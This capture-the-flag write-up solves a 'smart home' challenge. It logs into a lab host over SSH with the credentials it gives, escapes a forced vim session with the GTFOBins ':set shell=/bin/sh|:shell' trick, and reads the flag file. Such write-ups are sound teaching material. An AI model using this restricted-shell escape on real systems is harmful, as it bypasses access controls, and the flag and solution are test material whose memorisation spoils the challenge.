Stuck (Smart Home, 150p)

Earlier, while you were stuck outside your younger brother also tried to fix the network.
By following an online guide he managed to open a text file in a command-line application.
He now seems to be totally stuck in this program, but the deadline for his schoolwork is fast approaching.

Help your brother so he can get the schoolwork from
/home/billy/schoolwork

Billy's workstation can be accessed over SSH:
Hostname: envXXX.target03
Port: 2223
Username: billy
Password: fortnitepro123

---

solution

Connecting to SSH server, automatically opens vim session.

# ssh -p 2223 billy@envXXX.target03
billy@envXXX.target03's password: fortnitepro123

           (                 ,&&&.
            )                .,.&&
           (  (              \=__/
               )             ,'-'.
         (    (  ,,      _.__|/ /|
          ) /\ -((------((_|___/ |
        (  // | (`'      ((  `'--|
      _ -.;_/ \\--._      \\ \-._/.
     (_;-// | \ \-'.\    <_,\_\`--'|
     ( `.__ _  ___,')      <_,-'__,'
      `'(_ )_)(_)_)'


Rest Here Weary Traveler,
For Great Adventures Lie Ahead
~
~
~
"/usr/content.txt" [readonly] 18L, 439C

Looking at vim in GTFOBins, gives a simple shell escape. Just type :set shell=/bin/sh|:shell, get the shell and retrieve the flag.

Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-192-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.



$ ls -al /home/billy/schoolwork
total 12
drwxr-xr-x 2 root  root  4096 Sep 12 08:48 .
drwxr-xr-x 1 billy billy 4096 Oct  4 23:54 ..
-rw-r--r-- 1 root  root    27 Sep 12 08:48 flag.txt
$ cat /home/billy/schoolwork/flag.txt
ctftech{hardest-challenge}

Flag is ctftech{hardest-challenge}